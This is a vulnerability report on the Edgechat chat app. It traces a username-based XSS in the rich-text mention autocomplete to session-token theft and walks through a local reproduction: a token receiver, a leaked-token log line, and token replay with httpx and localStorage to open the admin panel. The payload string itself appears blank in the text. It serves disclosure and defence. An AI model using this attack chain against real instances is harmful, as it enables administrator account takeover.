# Edgechat Vulnerability Report Software: Edgechat Developer or vendor: aozorae Code repository: https://github.com/aozorae/Edgechat ## 1. Username XSS Leads to Victim Account Takeover (CVE-2026-129541) Brief description: An attacker puts a script into a username, the script runs when a victim mentions that member in the rich text editor, and the attacker obtains the victim's session token. Affected versions: 2.5.0 to 2.21.0 Introduced in: [Edgechat commit 7dc9be86](https://github.com/aozorae/Edgechat/commit/7dc9be8651140a9aee46eb41ed5d0f2f228feaa9) Preconditions: The attacker holds a registration invite link for the target instance. ### Root Cause The message composer can expand Vditor, a rich text editor, in place. The editor offers member autocomplete for `@`. Each suggestion carries two fields. `html` is rendered in the drop-down list and passes through `escapeHtml`. `value` is what gets inserted into the message, and it is built from `@` and the username without escaping: ```js // frontend/src/components/chat/VditorComposerEditor.vue:41-53 commit 38cb5cf42d function mentionHints(query: string) { const normalizedQuery = query.toLocaleLowerCase(); return (props.mentionCandidates || []) .filter((candidate) => [candidate.username, candidate.displayName].some((value) => String(value || "").toLocaleLowerCase().includes(normalizedQuery), ), ) .slice(0, 8) .map((candidate) => ({ html: `@${escapeHtml(candidate.username)} ${escapeHtml(candidate.displayName || "")}`, value: `@${candidate.username}`, })); ``` The editor also turns off the Vditor parsing switch when it is created: ```ts // frontend/src/components/chat/VditorComposerEditor.vue:111-116 commit 38cb5cf42d hint: { delay: 100, emoji: {}, extend: [{ key: "@", hint: mentionHints }], parse: false, }, ``` With `parse` set to `false`, the `value` string goes to `insertHTML` as it is, without going through Lute: ```ts // node_modules/vditor/src/ts/hint/index.ts:181-188 commit 38cb5cf42d if (vditor.options.hint.parse) { if (vditor.currentMode === "wysiwyg") { insertHTML(vditor.lute.SpinVditorDOM(value), vditor); } else { insertHTML(vditor.lute.SpinVditorIRDOM(value), vditor); } } else { insertHTML(value, vditor); } ``` `insertHTML` assigns that string to `innerHTML`, so an `` element inside it becomes a real node of the editor document: ```ts // node_modules/vditor/src/ts/util/selection.ts:252-253 commit 38cb5cf42d const pasteElement = document.createElement("div"); pasteElement.innerHTML = html; ``` The username is chosen by the attacker at registration. Invite registration only calls `trim` on it, and apart from the reserved administrator name there is no restriction on its characters or its length: ```js // worker/src/index.js:130-143 commit 38cb5cf42d const username = String(payload.username || '').trim(); const password = String(payload.password || ''); const displayName = String(payload.displayName || username).trim(); if (!token) { return errorResponse('注册链接不存在', 404); } if (!username || !password) { return errorResponse('用户名和密码不能为空'); } if (isConfiguredAdminUsername(c.env, username)) { return errorResponse('该用户名不可用于邀请注册'); } ``` Registration adds the new user to the `general` system channel, whose `created_by` is empty and which has no owner among its members: ```js // worker/src/data/general-channel.js:20-24 commit 38cb5cf42d .prepare( `INSERT OR IGNORE INTO channels (name, description, kind, created_by) VALUES (?, '', 'public', NULL)`, ) .bind(GENERAL_CHANNEL_NAME), ``` The mention candidates come from the members of the current channel, sorted by role first and by `display_name` in ascending order: ```js // worker/src/data/channels.js:98 commit 38cb5cf42d ORDER BY CASE cm.role WHEN 'owner' THEN 0 ELSE 1 END, u.display_name ASC`, ``` An attacker who sets the display name to `!` takes the first place inside `general`. Vditor marks the first suggestion with `vditor-hint--current`, and `select` hands that suggestion to `fillEmoji` when Enter is pressed: ```ts // node_modules/vditor/src/ts/hint/index.ts:106 commit 38cb5cf42d ${i === 0 ? "class='vditor-hint--current'" : ""}> ${html}`; ``` ```ts // node_modules/vditor/src/ts/hint/index.ts:242-246 commit 38cb5cf42d } else if (!isCtrl(event) && !event.shiftKey && !event.altKey && event.key === "Enter" && !event.isComposing) { event.preventDefault(); event.stopPropagation(); this.fillEmoji(currentHintElement, vditor); return true; } ``` When a victim types `@` in the rich text editor of `general` and presses Enter, the `` element enters the editor document and `onerror` runs. The script reads the session token from `localStorage`, and the message does not have to be sent. ### Reproduction Environment ```bash git clone https://github.com/aozorae/Edgechat.git cd Edgechat cp wrangler.example.toml wrangler.toml ``` Add a keyring to `[vars]` in `wrangler.toml`, and replace the DB, KV and R2 bindings with the local identifiers below (`wrangler dev --local` does not touch remote resources): ```toml [vars] EDGECHAT_ENCRYPTION_KEYRING = "{\"activeKeyId\":\"local1\",\"keys\":{\"local1\":\"MDEyMzQ1Njc4OWFiY2RlZjAxMjM0NTY3ODlhYmNkZWY=\"}}" [[d1_databases]] binding = "DB" database_name = "cfchat-db" database_id = "local-d1-id" [[kv_namespaces]] binding = "SESSIONS" id = "local-kv-id" [[r2_buckets]] binding = "FILES" bucket_name = "cfchat-files" ``` Change `node:20` on the first line of the `Dockerfile` to `node:24`, because the current code uses `.ts` modules that node 20 cannot build. Then start the container and initialize the database and the administrator: ```bash docker compose up -d --build docker compose exec edgechat wrangler d1 execute cfchat-db --local --file=./worker/schema.sql docker compose exec \ -e EDGECHAT_ADMIN_USERNAME=admin \ -e EDGECHAT_ADMIN_PASSWORD='AdminPass123!' \ -e EDGECHAT_ADMIN_DISPLAY_NAME=Administrator \ edgechat node .github/scripts/generate-admin-bootstrap-sql.mjs docker compose exec edgechat wrangler d1 execute cfchat-db --local --file=.tmp/edgechat-admin-upsert.sql ``` Open `http://localhost:8788` afterwards. The administrator account is `admin` with the password `AdminPass123!`. ### Reproduction Sign in as the administrator, open Registration invites under Admin, and create an invite link: ![img/01-invite.png](img/01-invite.png) The invite link is `http://127.0.0.1:8788/register/8ZL3JMGjD-BjgOBHIBqR440fT1iRbtBp`. Start the receiver in a terminal: ```bash python3 -m http.server 9099 ``` Open the invite link, put the following string into the username field, put `!` into the display name field, put `Attacker123!` into the password field, and submit: ``` ``` ![img/02-register.png](img/02-register.png) The new account is now a member of `general`. The administrator opens the rich text editor in `general` and types `@`: ![img/03-mention-hint.png](img/03-mention-hint.png) The first suggestion is the username of the attacker. After Enter is pressed, the editor document contains: ```

@

``` The message has not been sent, and the receiver already got the request: ``` 127.0.0.1 - - [15/Nov/2026 07:12:31] code 404, message File not found 127.0.0.1 - - [15/Nov/2026 07:12:31] "GET /leak?t=eZoB6X0xUGAOZV8I2PZM2WDxY6z5b4nST0s90xNwp3Y HTTP/1.1" 404 - ``` Call the API with that token: ```python import httpx token = "eZoB6X0xUGAOZV8I2PZM2WDxY6z5b4nST0s90xNwp3Y" client = httpx.Client(base_url="http://127.0.0.1:8788", headers={"Authorization": f"Bearer {token}"}) print(client.get("/api/auth/session").text) print(client.get("/api/admin/overview").text) ``` The output is: ``` {"session":{"token":"eZoB6X0xUGAOZV8I2PZM2WDxY6z5b4nST0s90xNwp3Y","userId":1,"username":"admin","displayName":"Administrator","bio":"","avatarUrl":"","isAdmin":true,"isSuperAdmin":true,"canAccessAdmin":true,"permissions":["dashboard.read","users.read","users.create","users.profile.update","users.ban","users.delete","users.login_history.read","invites.read","invites.create","invites.revoke","channels.read","channels.delete","storage.read","storage.scan","site.read","site.appearance.update","telegram.read","telegram.mappings.manage","instance_bridge.read","instance_bridge.manage","maintenance.read"],"managementProtected":true,"authzVersion":0,"roleRevision":0,"role":{"id":1,"name":"普通用户","enabled":true},"sessionVersion":0,"loginProbeId":"86f81216-cff2-4340-b5b8-a2ed85e636bd"}} {"stats":{"users":2,"activeUsers":2,"publicChannels":1,"privateChannels":0,"dms":0,"messages":0},"site":{"siteName":"Edgechat","siteIconUrl":"","colorTheme":"default"}} ``` Write the token into `localStorage` in the browser console and open `http://127.0.0.1:8788/admin/users`: ```js localStorage.setItem("edgechat.token", "eZoB6X0xUGAOZV8I2PZM2WDxY6z5b4nST0s90xNwp3Y"); ``` ![img/04-admin-users.png](img/04-admin-users.png) The administration panel opens with that token. It lists every user and offers ban, password reset and delete.